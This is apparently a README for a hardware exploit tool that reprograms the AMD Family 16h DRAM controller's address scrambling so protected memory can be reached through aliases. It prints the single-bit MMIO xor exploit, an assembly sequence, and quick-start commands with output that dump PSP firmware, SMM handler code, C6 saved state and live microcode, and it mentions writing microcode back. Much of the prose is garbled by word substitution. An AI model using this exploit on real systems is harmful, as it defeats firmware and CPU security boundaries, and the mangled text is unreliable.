Unlocking everything connected the CPU pinch DRAM scrambling — PSP, C6, microcode,
SMM, and thing other the specs near out.
&x == &x.
Usually.

Poke the DRAM controller and an reside tin beryllium made to onshore wherever you
want successful memory. skitter-creek-bath-salts reaches into the deepest level of
the representation level and rewires the beingness DRAM reside translations,
to scramble level representation and merchandise its astir guarded secrets — the
specialized carveouts invisible moreover to the kernel. When the translations
break, the walls built connected them collapse, and we unlock everything.
- Unlock your Platform Security Processor
- Unlock System Management Mode
- Unlock C6 DRAM
- Unlock your CPU microcode
Developed and tested connected AMD Family 16h CPUs, the past procreation whose
datasheets archive the DRAM controller's translator registers — and show that
they can't beryllium locked. 17h and beyond simply time off this accusation out. The
odyssey of *p is akin crossed generations and
architectures, and the underlying transforms widen moreover to ARM, RISC-V, and
beyond; skitter-creek-bath-salts shows america only really to begin.
It's a agelong measurement down.
Memory is built connected layers of abstraction truthful heavy they go almost absurd. When
your codification dereferences *p, it appears to entree the DRAM astatine p. It does not —
p is simply a virtual address, and earlier a azygous spot of DRAM is touched, it must
survive the gauntlet below:
── CPU halfway / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual reside from load/store
│
└> canonical-form cheque ──────────────────────┐ ← bits [63:48] sign-extend from spot 47
┌─ conception guidelines adhd <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
deed → beingness reside k │
miss → prosecute hardware page walker │
┌─ page locomotion (from CR3) <─────────────────────┘ ← walked only connected TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leafage possible
│ PD [VA 29:21] ← 2 MiB leafage possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated astatine each level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
constitute (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D spot update <───────────────────────────┘ ← locked RMW connected PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA supra re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per azygous impermanent locomotion │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to adjacent vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page locomotion ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── **physical reside k** <─────────────────┘
│
│ ── CPU halfway / MMU — memory-type solution ────────────────────────
│
└> MTRR scope lucifer ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT introduction prime <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective representation type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to adjacent cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory consequence │ ← information | involution | abort
│
── strategy information cloth / interconnect ──────────────────────────────
│
┌─ if MMIO scope aliases sub-4 GiB MMIO spread <─────┘ ← uncore/data cloth posted/non-posted txn
│ → instrumentality BAR; done
│
└> other DRAM-bound: information cloth / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM spread remap <──────────────────────────┘ ← high-memory remap supra TOM
E ┃ │
┃ └> memory-region removal remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ transmission interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ slope interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> slope swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel prime ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← slope group · slope · statement (RAS) · file (CAS)
This task useful astatine the deepest levels of the *p pipeline, the MCT/DCT layer
— wherever a beingness reside from the information fabric/interconnect enters the memory
controller and is rewritten 1 last clip into the earthy DRAM coordinates that are
issued to the DIMM.
Physical addresses are really much of a suggestion.
xor dword [0xf80c2094], 0x00400000
That's the exploit. All of it.
One bit-flip successful the DRAM controller rewires the full instauration of the *p
pipeline, and the information that was astatine &x is now location other mid-flight.
Suddenly &x != &x. Every elaborate system the CPU and firmware and
uncore and chipset person meticulously utilized to wall disconnected each the astir protected
regions of representation each beryllium above the representation controller, and are entirely
oblivious to thing that happens beneath it. All the existing representation fences
guard beingness addresses, not DRAM coordinates, and if you rearrange the
DRAM coordinates, each the CPU and information cloth barriers supra them are entirely
unaware.
But rewiring DRAM is easy. The spot supra is the bank-swizzle-mode successful the DCT,
and it's conscionable 1 of dozens that power the reside remaps astatine the last furniture —
all you person to do is flick them to make everything built connected apical topple. The
harder portion past is keeping the level up arsenic the entirety of strategy representation is
scrambled underneath it.
The trick: beryllium fast, and don't touch DRAM. Disable the APs, premier the
TLBs, lukewarm the cache, disable interrupts, flush the target, serialize memory
accesses, and dream the CPU prefetched the upcoming instructions. Then rewire
the MCT/DCT to spaghettify DRAM, drawback immoderate information from the protected region,
revert the mappings, serialize again, alteration interrupts, resume the APs, and
everything's backmost to normal, pinch the remainder of the level wholly unscathed.
mov eax, [0xf80c2094] ; premier mmio TLB mov eax, [0x6f800000] ; premier target TLB pushf ; sphere flags cli ; interrupts off clflush [0x6f800000] ; evict the target, unit the dram read mfence ; obstruction - nary coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target successful spaghettified view xor dword [0xf80c2094], 1<<22 ; reconstruct dct swizzle → unscramble mfence ; obstruction - nary spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts backmost on
With immoderate observant setup of paging, cache states, threading, and the TLBs, the
address scrambling tin beryllium made to activity from C, to exemplify the *p pipeline
collapsing, and the platform's corrupted position erstwhile abruptly &x != &x:

So we tin rewire the representation and reconstruct it without a trace. All that's near is
knowing what we rewired it into.
Every protected representation region connected the platform, reachable pinch a calculator.
With the supra approach, we tin reprogram the MCT/DCT toggle shape connected a running
system — rearranging the lowest shape of the *p pipeline to scramble memory
out from underneath each protection built supra it.
But there's a challenge: while we tin reprogram the translator pinch a simple
xor dword [0xf80c2094], 0x00400000, we person nary thought what caller transforms the
MCT/DCT will usage (the datasheets are underspecified present — the xor maps are off,
the MMIO subtractive shape is unordered, and specifications alteration crossed models).
Without this, representation scrambles, but we person nary measurement to reconstruct it.
Fortunately, the DRAM controller's reside toggle shape is simply a GF(2) linear map,
which intends we tin reconstruct the scrambled representation pinch basal linear algebra.
First, see the normal case: the guardant toggle shape of the default MCT/DCT
configuration gets applied to immoderate beingness address, which lands connected a secret
in DRAM:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
This is the coherent position of memory: the lowest shape of the *p pipeline
operates precisely arsenic it should.
Now rewire the MCT/DCT shape of *p pinch xor dword [0xf80c2094], 0x00400000,
and the level enters a scrambled/spaghettified position of representation wherever a
different toggle shape allows an alias to scope the aforesaid DRAM secret:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker othername secret
This othername lets america scope the aforesaid concealed without hitting the existing platform
locks and defenses built for the coherent view. To find the alias, constitute the
inverse of the attacking/spaghettified hash pinch the guardant of the
firmware/coherent hash, to get the translator that will scope immoderate concealed from
the malicious MCT/DCT configuration:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
The only situation is that the matrices are unknown, which intends we person no
idea really representation is really scrambled, and nary toggle shape to usage to scope the
secret successful the first place:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
Fortunately, astatine this constituent it's conscionable linear algebra, and you could lick the
transforms by manus if you want. Or: a calculator.
We usage z3. First, the SMT solver needs
constraints to activity with.
Start successful the coherent view, modify the MCT/DCT to move to the spaghettified view,
drop immoderate sentinel worth for illustration 0xdeadc0de into a random reside successful memory,
flip backmost to the coherent view, and expanse representation for wherever the sentinel
resurfaces. This gives a (target, alias) brace — a actual datapoint showing two
physical addresses that representation to the aforesaid compartment successful DRAM. Repeat the process,
gather a fistful of data, walk it to z3, and it solves the translator matrix
needed to person betwixt the 2 views — immoderate coherent-view beingness reside on
one side, its spaghettified-view othername connected the other:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Feeding othername pairs to z3 1 astatine a clip lets america watch the SMT solver decipher
the representation scrambling successful existent time, arsenic shown successful the opening
image.
The solved toggle shape is simply a rosetta stone, the cardinal to taking immoderate target reside in
the normal coherent position of representation and reaching the aforesaid information successful the scrambled
spaghettified view. To unlock protected DRAM, prime an reside we can't scope —
PSP backstage memory, SMRAM, the C6 idle-state — tally it done the transform
solved by z3, and get an othername that will scope the target successful the spaghettified
view, without hitting the elaborate fences, locks, and information checks the
platform constructed for the coherent position of memory. Rewire the DCT pinch xor dword [0xf80c2094], 0x00400000, publication aliases constitute the alias, its travel through
the *p pipeline circumvents each obstruction on the way, move backmost to the
coherent position pinch a 2nd xor dword [0xf80c2094], 0x00400000, and you're
done — unrestricted access, to thing astatine each the level has secreted distant in
DRAM.

In the end, everything usually truthful cautiously walled disconnected — PSP backstage memory,
SMRAM, the C6 idle-state — locked-down and inaccessible from the OS and ring-0
and sometimes moreover from the CPU itself, is still sitting successful the aforesaid physical
capacitors successful DRAM. But the locks and fences and walls were built astir the
coherent-view of memory, and do thing against the spaghettified aliases that
reach that aforesaid data.
Flip 1 spot successful the last level of the *p pipeline, and we've unlocked
everything.
Quick start: unlock your Platform Security Processor
Tamper pinch your PSP, spot what happens.
The fTPM runs connected the PSP's ain ARM core, successful a DRAM carveout correct past the
visible top-of-memory. Reach it by aliasing an OS-visible beingness address
onto it, propulsion the bytes out, disassemble.
# Bail retired early connected platforms this was ne'er tested on. ./userspace/platform_check || exit 1 # Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 / # 0x800000 connected the trial box). Swap 2x4gb for whichever data/maps/ prefix # matches your DIMMs; 1 --map per saved map. eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin # The PSP is an ARM core, truthful disassemble arsenic Thumb-2. Carve crAmd_ModExp # (0x64 bytes astatine PSP_BASE+0x19d4) consecutive retired of the captured image. objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's backstage DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import guidelines (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, position = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB grounded position = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp grounded ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 popular {r4, r5, r6, r7, pc}
That's the PSP's RSA motor — the modexp down each fTPM signature, and behind
the Miller-Rabin tests that mint its keys — lifted retired of representation the PSP is
supposed to ain alone, fenced disconnected astatine the representation controller, opaque moreover to
ring-0. Modify arsenic you spot fit.
Quick start: unlock System Management Mode
Read what SMM hides.
The SMI handler introduction vector lives astatine SMBASE + 0x8000. SMBASE is in
MSR 0xc0010111. Read it, propulsion the bytes done the othername map, and pipe
them consecutive into a disassembler:
# Bail retired early connected platforms this was ne'er tested on. ./userspace/platform_check || exit 1
sudo modprobe msr # SMBASE is per-core; halfway 0's lives successful MSR 0xc0010111. SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 )) # Dump the introduction vector done the othername representation and disassemble connected the fly. # SMM starts successful existent mode, truthful ndisasm gets -b 16. One --map per saved map; # printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo. sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
; SMI introduction stub — the first point a halfway executes erstwhile entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked astatine SMBASE+0x8148, conscionable past this stub o32 lgdt [cs:si] ; load it (o32 -> afloat 32-bit base, not existent mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the halfway into protected mode jmp short 0x14 ; adjacent jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> level information segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; instal the SMM stack o32 push byte +0x10 ; far-return frame: CS = codification selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Those instructions tally successful ringing -2, the astir privileged discourse connected the CPU,
out of representation the chipset is expected to make unreadable. SMRAM "locked"
turns retired to beryllium a polite proposal erstwhile we tin talk to the DRAM controller
directly.
Swap 2x4gb for whichever prefix successful data/maps/ matches your installed
DIMMs (sudo dmidecode -t memory). If your topology isn't there, run
analysis/gather_aliases.py past analysis/unspaghettify.py to bake
your own.
Quick start: unlock C6 DRAM
I person nary thought what's successful present and person ne'er seen it discussed, likely
internal CPU registers. Have fun.
When the cores power-gate into C6, each one's afloat x86 architectural discourse is
stashed present for restore.
./userspace/platform_check || exit 1 # Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 connected the # trial box). Each idle core's authorities lives successful a 16 KiB prevention area; 4 cores # here, astatine CC6_BASE + {0, 0x4000, 0x8000, 0xc000}. eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin # For example, connected this level IA32_APIC_BASE sits astatine +0x9b8 successful each area. # Read it from each 4 cores consecutive retired of the stash: for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | caput -1 done
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP spot set
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 exertion processor
One halfway pinch the BSP spot set, 3 without — the footwear processor and its three
APs, caught mid-idle pinch their registry authorities lying successful the open.
The much you flick around, the much CPU registers you'll commencement to find:
offset
x86 state
core-0 value
| +0x8b0 | GS / per-cpu base | 0xffff9be4e3600000 |
| +0x9a0 | CR3 (page-table root) | 0x0fd46000 |
| +0x9b8 | IA32_APIC_BASE | 0xfee00900 |
| +0xa38 | variable MTRR (base/mask) | 0x6f000000 / …0800 |
| +0xb10 | saved RIP | 0xffffffff8f3a0029 |
Of course, those registers are each accessible from ring-0 anyway. The
fun portion is successful each the other CPU authorities sitting location — poking the internal
CPU registers ring-0 can't reach.
Quick start: unlock your CPU microcode
What could spell wrong?
When a halfway drops into C6 its microcode spot RAM — volatile SRAM — goes acheronian with
the remainder of the core. So the C6 stash keeps the loaded spot successful DRAM and re-seeds
it connected wake. That transcript sits astatine +0x1800 successful each prevention area, and the othername reaches
it for illustration immoderate different byte.
Grab the microcode transcript the CPU stashed successful fenced DRAM:
./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)" # page 1 of halfway 0's prevention area is the unrecorded microcode spot body sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Match it against known patches:
# did we find it? python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for one successful range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam successful (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c successful uc for c successful chunks):2}/{len(chunks)} chunks match") EOF
This is simply a bully sign:
fam15h: 0/94 chunks match
fam16h: 68/94 chunks lucifer <- the microcode the halfway is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
Extract the ucode triads:
od -Ax -tx1 -w20 ucode_ram.bin
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
[...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0
And location it is, chopped uops up top, NOP padding repeating below.
From there, dram_dump has a related tool, dram_poke. The aforesaid othername that
read the spot tin constitute it — and this transcript is the 1 the halfway reloads coming
out of idle.
What you do adjacent is up to your imagination.
make # builds kernel/spaghettify.ko and each userspace tools
make clean
Run arsenic root. Full specifications successful USAGE.md.
Simple publication from a protected representation address.
Push the --do-swizzle / --do-bankswap flips into the DRAM controller to
enter the spaghettified representation view, publication 1 dword from beingness address
<pa>, reconstruct the DCT bits, and return the value.
dram_read
